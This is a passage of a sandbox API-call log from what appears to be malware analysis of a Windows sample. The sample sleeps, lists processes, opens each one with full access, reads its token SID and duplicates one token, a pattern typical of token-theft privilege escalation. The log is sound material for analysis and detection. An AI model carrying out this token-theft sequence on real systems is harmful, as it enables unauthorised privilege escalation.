(dwMilliseconds=0x64) [0193.285] Sleep (dwMilliseconds=0x64) [0193.436] Sleep (dwMilliseconds=0x64) [0193.553] Sleep (dwMilliseconds=0x64) [0193.668] Sleep (dwMilliseconds=0x64) [0193.824] Sleep (dwMilliseconds=0x64) [0193.972] Sleep (dwMilliseconds=0x64) [0194.094] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x2c4) returned 0x0 [0194.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f91c60 [0194.095] GetTokenInformation (in: TokenHandle=0x2c4, TokenInformationClass=0x1, TokenInformation=0x2f91c60, TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2faeb30 [0194.095] ConvertSidToStringSidW () returned 0x1 [0194.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1024) returned 0x2f8bd70 [0194.095] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8bd70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2f8bd70, ResultLength=0x0) returned 0xc0000004 [0194.096] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8bd70, Size=0x2048) returned 0x2f8dd58 [0194.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8dd58, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2f8dd58, ResultLength=0x0) returned 0xc0000004 [0194.096] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8dd58, Size=0x306c) returned 0x2f8dd58 [0194.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8dd58, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2f8dd58, ResultLength=0x0) returned 0xc0000004 [0194.096] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8dd58, Size=0x4090) returned 0x2f97f00 [0194.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f97f00, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2f97f00, ResultLength=0x0) returned 0xc0000004 [0194.097] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f97f00, Size=0x50b4) returned 0x2f97f00 [0194.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f97f00, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2f97f00, ResultLength=0x0) returned 0xc0000004 [0194.097] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f97f00, Size=0x60d8) returned 0x3058460 [0194.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3058460, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3058460, ResultLength=0x0) returned 0xc0000004 [0194.098] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x3058460, Size=0x70fc) returned 0x4f03770 [0194.098] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f03770, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x4f03770, ResultLength=0x0) returned 0xc0000004 [0194.099] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x4f03770, Size=0x8120) returned 0x2fc3ea8 [0194.100] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2fc3ea8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2fc3ea8, ResultLength=0x0) returned 0xc0000004 [0194.100] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2fc3ea8, Size=0x9144) returned 0x2fc3ea8 [0194.100] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2fc3ea8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2fc3ea8, ResultLength=0x0) returned 0xc0000004 [0194.100] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2fc3ea8, Size=0xa168) returned 0x2fc3ea8 [0194.100] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2fc3ea8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2fc3ea8, ResultLength=0x0) returned 0xc0000004 [0194.101] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2fc3ea8, Size=0xb18c) returned 0x2fc3ea8 [0194.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2fc3ea8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2fc3ea8, ResultLength=0x0) returned 0xc0000004 [0194.101] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2fc3ea8, Size=0xc1b0) returned 0x2fc3ea8 [0194.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2fc3ea8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2fc3ea8, ResultLength=0x0) returned 0xc0000004 [0194.101] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2fc3ea8, Size=0xd1d4) returned 0x2fe4828 [0194.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2fe4828, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2fe4828, ResultLength=0x0) returned 0xc0000004 [0194.102] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2fe4828, Size=0xe1f8) returned 0x4ef0048 [0194.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ef0048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x4ef0048, ResultLength=0x0) returned 0xc0000004 [0194.104] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x4ef0048, Size=0xf21c) returned 0x4ef0048 [0194.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ef0048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x4ef0048, ResultLength=0x0) returned 0xc0000004 [0194.104] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x4ef0048, Size=0x10240) returned 0x3020078 [0194.105] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3020078, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3020078, ResultLength=0x0) returned 0xc0000004 [0194.106] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x3020078, Size=0x11264) returned 0x3020078 [0194.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3020078, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3020078, ResultLength=0x0) returned 0xc0000004 [0194.106] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x3020078, Size=0x12288) returned 0x3020078 [0194.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3020078, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3020078, ResultLength=0x0) returned 0xc0000004 [0194.106] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x3020078, Size=0x132ac) returned 0x3020078 [0194.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3020078, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3020078, ResultLength=0x0) returned 0xc0000004 [0194.107] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x3020078, Size=0x142d0) returned 0x3020078 [0194.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3020078, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3020078, ResultLength=0x0) returned 0x0 [0194.107] GetCurrentProcessId () returned 0xd94 [0194.107] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.107] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x140, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.107] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x198, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x1e8, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x1f4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x230, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x24c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x254, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x2ac, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x2b4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x2e8, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x314, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x388, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x3c0, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x3d0, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.108] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x3ec, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x3fc, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x2fc, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x44c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x4c8, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x510, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x528, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x580, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x5f4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x68c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x6b4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.109] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x720, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x31c) returned 0x0 [0194.109] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x320) returned 0x0 [0194.109] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x2f91c60, TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.109] ConvertSidToStringSidW () returned 0x1 [0194.109] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2faeb30, Size=0x8) returned 0x2faea30 [0194.109] DuplicateTokenEx (in: hExistingToken=0x320, dwDesiredAccess=0xf01ff, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x2c3f8b4 | out: phNewToken=0x2c3f8b4*=0x454) returned 1 [0194.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8) returned 0x2faeb70 [0194.110] LocalFree (hMem=0x2f878f0) returned 0x0 [0194.110] CloseHandle (hObject=0x320) returned 1 [0194.110] CloseHandle (hObject=0x31c) returned 1 [0194.110] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x738, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x31c) returned 0x0 [0194.110] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x320) returned 0x0 [0194.110] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x2f91c60, TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.110] ConvertSidToStringSidW () returned 0x1 [0194.110] LocalFree (hMem=0x2f87d00) returned 0x0 [0194.110] CloseHandle (hObject=0x320) returned 1 [0194.110] CloseHandle (hObject=0x31c) returned 1 [0194.110] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x780, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.110] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x7b0, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.110] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x478, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.110] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x844, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x31c) returned 0x0 [0194.110] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x320) returned 0x0 [0194.110] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x2f91c60, TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.110] ConvertSidToStringSidW () returned 0x1 [0194.110] LocalFree (hMem=0x2f87bc8) returned 0x0 [0194.110] CloseHandle (hObject=0x320) returned 1 [0194.110] CloseHandle (hObject=0x31c) returned 1 [0194.110] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x9e8, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x31c) returned 0x0 [0194.110] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x320) returned 0x0 [0194.111] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x2f91c60, TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.111] ConvertSidToStringSidW () returned 0x1 [0194.111] LocalFree (hMem=0x2f87f70) returned 0x0 [0194.111] CloseHandle (hObject=0x320) returned 1 [0194.111] CloseHandle (hObject=0x31c) returned 1 [0194.111] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0xb7c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x31c) returned 0x0 [0194.111] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x320) returned 0x0 [0194.111] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x2f91c60, TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.111] ConvertSidToStringSidW () returned 0x1 [0194.111] LocalFree (hMem=0x2f87958) returned 0x0 [0194.111] CloseHandle (hObject=0x320) returned 1 [0194.111] CloseHandle (hObject=0x31c) returned 1 [0194.111] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0xb84, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x31c) returned 0x0 [0194.111] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x320) returned 0x0 [0194.111] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x2f91c60, TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.111] ConvertSidToStringSidW () returned 0x1 [0194.111] LocalFree (hMem=0x2f87e38) returned 0x0 [0194.111] CloseHandle (hObject=0x320) returned 1 [0194.111] CloseHandle (hObject=0x31c) returned 1 [0194.111] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0x77c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x31c) returned 0x0 [0194.111] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x320) returned 0x0 [0194.111] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x2f91c60, TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.111] ConvertSidToStringSidW () returned 0x1 [0194.111] LocalFree (hMem=0x2f87a28) returned 0x0 [0194.111] CloseHandle (hObject=0x320) returned 1 [0194.112] CloseHandle (hObject=0x31c) returned 1 [0194.112] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0xcec, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x0) returned 0xc0000022 [0194.112] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0xdbc, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x31c) returned 0x0 [0194.112] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x320) returned 0x0 [0194.112] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x2f91c60, TokenInformationLength=0x100, ReturnLength=0x2c3f8c0 | out: TokenInformation=0x2f91c60, ReturnLength=0x2c3f8c0) returned 1 [0194.112] ConvertSidToStringSidW () returned 0x1 [0194.112] LocalFree (hMem=0x2f87fd8) returned 0x0 [0194.112] CloseHandle (hObject=0x320) returned 1 [0194.112] CloseHandle (hObject=0x31c) returned 1 [0194.112] NtOpenProcess (in: ProcessHandle=0x2c3f898, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f878*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f890*(UniqueProcess=0xad8, UniqueThread=0x0) | out: ProcessHandle=0x2c3f898*=0x31c) returned 0x0 [0194.112] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf01ff, TokenHandle=0x2c3f89c | out: TokenHandle=0x2c3f89c*=0x320) returned 0x0 [0194.112] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x2f91c60, 